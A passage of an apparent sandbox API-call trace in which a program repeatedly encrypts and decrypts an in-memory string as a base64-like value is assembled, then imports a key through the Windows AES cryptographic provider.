(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0136.622] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.622] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0136.622] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.622] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0136.622] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0136.622] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.623] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0136.623] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.623] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0136.623] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0136.623] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.623] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0136.623] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.623] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0136.623] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0136.623] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.623] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0136.623] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.623] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0136.623] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0136.623] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.623] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0136.623] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.623] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0136.623] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0136.623] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.623] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0136.623] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.623] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0136.623] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0136.624] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.624] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0136.624] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.624] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0136.624] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0136.624] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.624] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0136.624] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.624] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.624] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.624] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.624] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0136.624] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.624] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0136.624] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.624] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0136.624] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0136.624] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.624] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0136.624] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0136.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0136.625] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.625] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0136.625] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0136.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0136.625] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.625] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0136.625] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0136.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0136.625] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.625] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0136.625] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0136.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0136.625] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.625] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0136.625] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0136.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0136.626] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.626] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0136.626] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.626] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0136.626] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0136.626] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.626] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0136.626] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.626] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.626] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.626] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.626] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0136.626] SystemFunction041 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.626] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0136.626] SystemFunction040 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.626] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0136.626] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0136.626] SystemFunction041 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.626] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0136.626] SystemFunction040 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.626] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0136.626] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0136.627] SystemFunction041 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.627] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0136.627] SystemFunction040 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.627] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0136.627] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0136.627] SystemFunction041 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.627] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0136.627] SystemFunction040 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.627] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0136.627] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0136.627] SystemFunction041 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.627] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0136.627] SystemFunction040 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.627] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0136.627] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0136.627] SystemFunction041 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.627] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0136.627] SystemFunction040 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.627] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0136.628] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0136.628] SystemFunction041 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.628] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0136.628] SystemFunction040 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.628] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0136.628] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0136.628] SystemFunction041 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.628] SystemFunction040 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.628] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0136.628] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0136.628] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0136.628] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0136.628] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0136.628] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0136.629] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0136.629] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0136.629] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.629] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0136.629] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0136.630] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x4396570) returned 1 [0136.630] CryptImportKey (in: hProv=0x4396570, pbData=0x6a332cc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84bb8) returned 1 [0136.630] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 